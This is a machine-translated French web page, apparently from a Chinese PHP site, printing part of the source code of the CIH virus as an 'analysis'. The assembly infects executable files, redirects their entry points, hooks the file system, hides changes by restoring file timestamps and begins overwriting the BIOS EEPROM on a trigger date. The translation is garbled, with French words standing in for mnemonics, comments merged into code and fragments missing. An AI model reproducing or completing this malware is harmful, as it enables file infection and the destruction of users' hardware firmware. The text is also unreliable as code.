push eax ; taille de la table de bloc
push edx ; est le décalage de la table de bloc de code de virus
push esi ; adresse du tampon
; la taille totale doit être inférieure ou égale à la taille de l'espace inutilisé
inc ecx
push ecx ; Save NumberOfSections 1
shl ecx, 03h multiplier par 8
push réserve virus block ; espace table
add ecx, eax
add ecx, edx ;Offset du corps du fichier ecx
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
Inc ecx ;Complet, ecx est la taille de l'en-tête du fichier - décalage du texte = espace inutilisé
push ecx
xchg ecx, eax;ecx est la taille de la table de blocs
mov eax, (AddressOfEntryPoint-@9][esi] ;Entrer l'adresse RVA
ajouter eax, (ImageBase-@9)[esi] ;Charger l'adresse de base
mov (OriginalAddressOfEntryPoint-@9)[ esi] , eax ;Enregistrez l'adresse d'entrée réelle après le chargement
;Comparez l'espace inutilisé avec la taille du premier bloc du virus S'il est plus petit, définissez uniquement l'indicateur d'infection
cmp word ptr. [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; Lire toutes les tables de blocage de virus
mov eax, ebp ; lire le numéro de fonction
lire la table de blocage à esi (@9)
;L'erreur de gestion des fichiers auto-extractibles Winzip est complètement modifiée ci-dessous Lorsque l'utilisateur ouvre le fichier auto-extractible,
; la deuxième table de blocs et
; lit le bloc. Data, détermine s'il contient les mots "WinZip(R)" (SizeOfScetionTable PointerToRawData-@9][ebx]
;edx est le décalage du deuxième bloc ( .rdata)
add edx, 12h; add 10h 2h (10h c'est "WinZip....")
call edi;Lire 4 octets vers esi
;Déterminer si le fichier auto-extractible Winzip, si c'est le cas, ne définissez pas le drapeau d'infection
cmp dword ptr [esi], 'piZn '
je NotSetInfectedMark
pop edx pointe vers la première adresse de ; la table de blocage dans le fichier
; Définir la table de blocage du code du virus
pop ebx ; taille de l'espace inutilisé
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx = NumberOfSections 1
push edi
add edx, ebp ; ebp est la taille de la table de blocs
push edx ; pointeur de fichier
add ebp, ebp pointe vers la table de blocs de la zone de données virales ( le premier bloc)
push ebp ; adresse du tampon
; Définir la taille du premier bloc de code viral
lea eax, [ebp edi-04h]
mov [eax], ebx
;Définir le premier bloc de virus
push ebx; Taille du premier bloc de code viral
add edx, edi
push edx ; (MyVirusStart-@9)[esi]
push edi ; Adresse du tampon
; Modifier l'entrée de AddressOfEntryPoint en entrée de virus
mov (NewAddressOfEntryPoint-@9)[esi], edx; la nouvelle entrée du programme (texte du virus)
; Définir les données initiales
lea edx, [esi-SizeOfScetionTable] ; diminue d'abord d'un élément la longueur de la table
MOV EBP, Offset Virussize est le virus ; length
jmp StarttowriteCodetOSections
; ONS:
mov ebx, (SizeOfRawData-@9)[edx] ;ebx est la SizeOfRawData (taille de bloc) de l'entrée de la table de blocs
sub ebx, (VirtualSize-@9][edx] ;moins VirtualSize est égal à l'espace inutilisé du bloc
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx ; écrire la table de blocage des virus
mov ebx, ( PointerToRawData-@9)[edx] ;ebx est le décalage physique (réel) du bloc
add ebx, (VirtualSize-@9)[edx] ;Add VirtualSize
push ebx ;ebx pointe vers le pointeur de fichier Space du bloc inutilisé
push edi adresse du tampon
mov ebx; , (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
Add ebx, (ImageBase-@9)[esi] ; chargé
mov [eax 4], ebx ; Enregistrer dans la table de blocage des virus
mov ebx , [eax] ;La taille de l'espace inutilisé du bloc
add (VirtualSize-@9) [edx], ebx ;Ajouter à la taille virtuelle de l'entrée de la table de blocs
;Modifier les attributs de bloc de l'entrée de la table de blocs (passer en lisible et inclure les données d'initialisation)
ou (Caractéristiques-@9) [edx], 40000040h
; Commencez à écrire du code
StartToWriteCodeToSections :
sub ebp, ebx; Taille du virus - taille du bloc de virus
; Si elle est inférieure à (l'insertion du virus est terminée), définissez le caractère de fin de la table de blocage des virus
jbe SetVirusCodeSectionTableEndMark
add edi , ebx;Pointez sur le virus Bloc suivant
Fin de l'écriture du code
EndOfWriteCodeToSections :
loop LoopOfWriteCodeToSections
OnlySetInfectedMark :
mov esp, dr1 ;Définir uniquement l'infection drapeau
jmp WriteVirusCodeToFile ; Accédez au programme qui écrit le virus dans le fichier à infecter
; Ne pas définir l'indicateur d'infection
NotSetInfectedMark :
add esp, 3ch
jmp CloseFile ;Allez dans CloseFile
Définir la table et les marques de blocage des virus
SetVirusCodeSectionTableEndMark :
Ajuster le code de blocage du virus
ajouter [eax], ebp Corriger le dernier élément du blocage du virus ; table
add [esp 08h], ebp
;Définir le drapeau de fin de table de bloc
🎜>lea eax, (LastVxdCallAddress-2-@9)[esi] ;L'adresse du dernier Vxd instruction appelée
mov cl, VxdCallTableSize;Le nombre d'appels Vxd utilisés
LoopOfRestoreVxdCallID :
mov mot ptr [eax], 20cdh;Restauration sous la forme de "int 20h"
;Récupérez le numéro d'identification de l'appel Vxd depuis VxdCallIDTable et mettez-le dans edx
mov edx, (VxdCallIDTable (ecx-1) *04h-@9)[esi]
mov [ eax 2], edx ;Mettez-le après "int 20h"
;La différence dans l'adresse de chaque instruction qui appelle Vxd est placée dans le VxdCallAddressTable
movzx edx, byte ptr (VxdCallAddressTable ecx-1- @9)[esi]
sub eax, edx; eax est l'adresse de l'appel précédent
loop LoopOfRestoreVxdCallID; restaurer les autres appels
; 🎜> WriteVirusCodeToFile :
mov eax, dr1;dr1 est l'esp enregistré précédemment
mov ebx, [eax 10h]; edi est l'adresse d'appel IFSMgr_Ring0_FileIO enregistrée dans la pile
; Écriture en boucle
LoopOfWriteVirusCodeToFile:
pop ecx ; Chaque segment du code du virus Offset
jecxz SetFileModificationMark ;
mov esi, ecx
mov eax, 0d601h ; Numéro de fonction d'écriture du fichier (R0_WRITEFILE)
pop edx ; ; VXD appelle IFSMgr_Ring0_FileIO pour écrire le fichier
; Écrivez tour à tour chaque code de virus, table de blocage de virus et nouvelle
table de blocage de fichier, nouvelle entrée de programme, marque d'infection
jmp LoopOfWriteVirusCodeToFile
; Modifier l'heure de dernière modification du fichier afin que l'utilisateur ne sache pas que le fichier a été modifié
SetFileModificationMark:
pop ebx
pop eax
stc;Définir le drapeau de report
pushf;Poussez le drapeau sur la pile
;Fermez le fichier
CloseFile:
xor eax, eax
mov ah, 0d7h ;Fermer le numéro de fonction du fichier
appelez Vxd ; appelle IFSMgr_Ring0_FileIO pour fermer le fichier
popf
pop esi
jnc IsKillComputer ; Si l'indicateur de retenue est 0, passez à KillComputer
Restaurer le fichier Heure de modification
mov ; ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime 2-@7)[esi]
Appeler ebx ; Vxd appelle IFSMgr_Ring0_FileIO pour modifier l'heure de dernière modification du fichier
esi]
; Appeler le FileSystemApiHook d'origine
prevhook:
popad; Restaurer tous les registres
mov eax, dr0; Enregistrez la première adresse du programme de hook du système de fichiers d'origine
jmp [eax] ; Aller au hook d'origine pour exécuter
pIFSFunc:
mov ebx, esp ; adresse de FileSystemApiHookFunction
push dword ptr [ebx 20h 04h 14h] ; Push le paramètre pioreqpir sur la pile
call [ebx 20h 04h] ; call pIFSFunc FSDFnAddr
pop ecx
mov [ebx 1ch], eax ; modifier la valeur de eax
; appelé Après pIFSFunc, récupérer les données de la valeur de retour pioreq
cmp dword ptr [ebx 20h 04h 04h], 00000024h
jne QuitMyVirusFileSystemHook
; Récupère la date et la date de modification du fichier en mode DOS Heure
mov eax, [ecx 28h]
mov (FileModificationTime-@6)[esi], eax ;Enregistrer l'heure et la date du fichier obtenu
;Quitter le programme antivirus
QuitMyVirusFileSystemHook :
popad;Restaurer tous les registres
ret ; Quitter le programme de hook de fichier défini par le virus
; Détruire le BIOS de l'ordinateur
IsKillComputer :
; Obtenir la date actuelle du BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h
jmp DisableOnBusy
ELSE
jnz DisableOnBusy ; Si ce n'est pas le 26, se tourner vers DisableOnBusy sans détruire
ENDIF
; Commencer à détruire l'EEPROM du BIOS *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
Afficher la page BIOS du segment d'adresse 000E0000 - 000EFFFF, a total de 64 Ko
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
;Affichez la page BIOS du segment d'adresse 000F0000 - 000FFFFF, un total de 64 Ko
mov di, 0058h
dec edx; et a0fh
mov word ptr (BooleanCalculateCode-@10)[esi ], 0f24h
call esi
Afficher le segment supplémentaire 000E0000 - 000E01FF; Données ROM dans le BIOS, un total de 512 octets
; et le bloc BIOS inscriptible
lea ebx, EnableEEPROMToWrite -@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
Ce qui précède est le code source du programme antivirus Exemple d'analyse - Contenu du virus CIH [4]. attention au site PHP chinois (www.php.cn) !